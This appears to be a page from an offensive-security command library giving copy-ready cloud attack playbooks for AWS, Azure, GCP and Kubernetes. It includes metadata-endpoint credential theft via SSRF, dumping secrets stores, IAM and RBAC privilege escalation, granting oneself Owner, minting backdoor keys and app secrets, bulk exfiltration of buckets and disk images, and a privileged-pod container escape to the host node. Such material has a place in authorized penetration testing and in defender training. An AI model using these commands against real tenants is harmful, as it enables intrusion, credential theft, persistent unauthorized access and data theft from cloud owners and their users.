OPSECTLAS you are here: Cloud
library

Cloud

4 providers 50 commands · enumerate → escalate → persist

Offensive security for the three major clouds, the way you actually move through a tenant. Commands copy byte-exact; pin any to your loadout and set $_ vars where they apply.

AWS Amazon Web Services IAM · S3 · EC2 · Lambda · STS

AWS security is IAM: almost every attack is an identity problem. You start from a set of keys or a role, map exactly what they can do, then find the one over-permissioned action that lets you become a bigger role. The instance metadata service (IMDS) is the classic bridge from a web bug to cloud credentials.

Enumeration

Establish who you are and what these credentials can touch. Do this first.

Who am I: account id, user/role ARN. The first command every time

aws sts get-caller-identity

Dump all users, roles, groups, and policies (if allowed)

aws iam get-account-authorization-details

Brute which API calls your keys can make (denies are not logged)

python3 enumerate-iam.py --access-key <AK> --secret-key <SK>

List buckets you can see; then: aws s3 ls s3://<BUCKET> to browse

aws s3 ls

ScoutSuite: full multi-service security-posture report

scout aws

Credential access

Harvest more keys and secrets. IMDS bridges an app bug to cloud creds.

IMDSv1 via SSRF: list the instance role, then append its name for keys

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

IMDSv2 (token-based) equivalent

TOKEN=$(curl -sX PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60"); curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

Secrets Manager: list then read plaintext secrets

aws secretsmanager list-secrets --query "SecretList[].Name" && aws secretsmanager get-secret-value --secret-id <NAME>

SSM Parameter Store: decrypt every parameter (creds hide here)

aws ssm get-parameters-by-path --path / --recursive --with-decryption

Privilege escalation

Find the one permission that makes you a bigger role. Pacu automates the paths.

Start Pacu, then: run iam__enum_permissions; run iam__privesc_scan

pacu

iam:CreatePolicyVersion privesc: swap in an admin policy

aws iam create-policy-version --policy-arn <ARN> --policy-document file://admin.json --set-as-default

iam:PassRole + Lambda: run code as a privileged role

aws lambda create-function --function-name x --role <ADMIN-ROLE-ARN> --runtime python3.12 --handler x.h --zip-file fileb://f.zip

Assume a role whose trust policy you can reach (or edited)

aws sts assume-role --role-arn <ROLE-ARN> --role-session-name s

Persistence and data

Keep access and reach the data. A second access key is the quietest foothold.

Mint a second access key for a user you control (durable backdoor)

aws iam create-access-key --user-name <USER>

Exfiltrate an entire bucket

aws s3 sync s3://<BUCKET> ./loot

Image a running instance to exfiltrate its disk offline

aws ec2 create-image --instance-id <ID> --name x

refs Pacu (Rhino Security) ↗HackTricks Cloud: AWS ↗

Azure Microsoft Azure Entra ID · IMDS · Key Vault · RBAC

Azure has two planes: the Entra ID (Azure AD) identity plane and the ARM resource plane, and attacks cross between them. A managed identity on a VM yields a token to the resource plane; Entra roles like Global Administrator or a privileged app registration walk to full tenant control. AzureHound maps the paths the way BloodHound maps on-prem AD.

Enumeration

Map both planes: who you are in Entra ID and what you hold in ARM.

Authenticate and confirm the subscription / tenant context

az login && az account show

Who am I in Entra ID

az ad signed-in-user show

Every RBAC assignment you can see (find Owner / Contributor)

az role assignment list --all -o table

All resources in reach (VMs, storage, key vaults, functions)

az resource list -o table

ROADtools: full offline Entra ID dump for analysis

roadrecon gather && roadrecon dump

Collect the Entra ID + Azure RBAC graph for BloodHound

AzureHound -u <USER> -p <PASS> -t <TENANT> list --collect all -o out.json

Credential access

Managed identities on a VM are the Azure equivalent of IMDS credentials.

Managed-identity token for ARM (from a VM / SSRF)

curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Same, scoped to Key Vault, then read secrets

curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

List then read Key Vault secrets

az keyvault secret list --vault-name <VAULT> && az keyvault secret show --vault-name <VAULT> --name <NAME>

Run commands on a VM you have rights over (RCE via ARM)

az vm run-command invoke -g <RG> -n <VM> --command-id RunShellScript --scripts "whoami"

Privilege escalation and persistence

Walk Entra roles and app permissions to tenant control; persist via service principals.

If you can assign roles, grant yourself Owner

az role assignment create --assignee <ID> --role Owner --scope /subscriptions/<SUB>

Add a client secret to an app / service principal (backdoor identity)

az ad app credential reset --id <APP-ID>

Exfiltrate a storage container

az storage blob download-batch -d ./loot -s <CONTAINER> --account-name <ACCT>

refs ROADtools ↗HackTricks Cloud: Azure ↗

GCP Google Cloud Platform IAM · service accounts · metadata

GCP attacks revolve around service accounts and the impersonation permissions that let one identity act as another. The permission to create a service-account key or to generate its access token is effectively privilege escalation. As in AWS, the metadata server on a compute instance hands out tokens to anything that can reach it.

Enumeration

Establish your identity, projects, and the service accounts in reach.

Active identity and current project

gcloud auth list && gcloud config list

Projects you can see (each is a separate blast radius)

gcloud projects list

Service accounts (the real targets in GCP)

gcloud iam service-accounts list

Who has what on the project (find your escalation path)

gcloud projects get-iam-policy <PROJECT> --format=json

ScoutSuite: full posture report for the project

scout gcp

Credential access

The metadata server yields a token to anything that reaches it.

Access token for the instance service account (from a VM / SSRF)

curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"

Read a Secret Manager secret

gcloud secrets versions access latest --secret=<NAME>

List and exfiltrate Cloud Storage buckets

gsutil ls && gsutil cp -r gs://<BUCKET> ./loot

Privilege escalation and persistence

Impersonate a more privileged service account, or mint a durable key.

iam.serviceAccountKeys.create: durable creds for a privileged SA

gcloud iam service-accounts keys create key.json --iam-account <SA-EMAIL>

iam.serviceAccounts.getAccessToken: act as a bigger SA directly

gcloud compute instances list --impersonate-service-account=<SA-EMAIL>

If you can set IAM policy, grant yourself Owner

gcloud projects add-iam-policy-binding <PROJECT> --member="user:<YOU>" --role="roles/owner"

refs GCP IAM Privilege Escalation ↗HackTricks Cloud: GCP ↗

K8s Kubernetes & Containers RBAC · service accounts · pod escape

Container and Kubernetes attacks turn on identity and isolation: a service-account token mounted in a pod, an over-permissive RBAC role, or a privileged pod that can reach the host. From one pod you map what your identity can do, read secrets, then break out to the node and the wider cluster.

Enumeration

From inside a pod (or with a kubeconfig), map exactly what your identity is allowed to do.

Exactly what your service account can do (the whole game)

kubectl auth can-i --list

Pods, secrets, and accounts across all namespaces

kubectl get pods,secrets,serviceaccounts -A

Cluster nodes (targets for a host breakout)

kubectl get nodes -o wide

Unauthenticated Kubelet API: the pods a node runs

curl -sk https://<TARGET-IP>:10250/pods

Credential Access

The mounted service-account token is your key to the API server.

The pod service-account JWT (use it as a bearer token)

cat /var/run/secrets/kubernetes.io/serviceaccount/token

Harvest secrets across namespaces

kubectl get secrets -A -o json | grep -iE "token|password|key"

Cloud credentials injected into the container env

env | grep -iE "AWS_|AZURE_|GOOGLE_|_KEY|_TOKEN"

Privilege Escalation & Escape

Break out of the container to the node, then pivot across the cluster.

Container capabilities (CAP_SYS_ADMIN usually means escapable)

capsh --print

If you can create pods: a privileged pod, then nsenter onto the host

kubectl run r00t --image=alpine --overrides='{"spec":{"hostPID":true,"containers":[{"name":"r","image":"alpine","command":["nsenter","--target","1","--mount","--","bash"],"securityContext":{"privileged":true},"stdin":true,"tty":true}]}}' -it

Privileged container: mount the host disk and chroot in

mount /dev/sda1 /mnt && chroot /mnt bash

refs HackTricks Cloud: K8s ↗Peirates ↗

connected

Credential theft through the metadata endpoint is Server-Side Request Forgery; after code execution you reach for shells and post-access commands.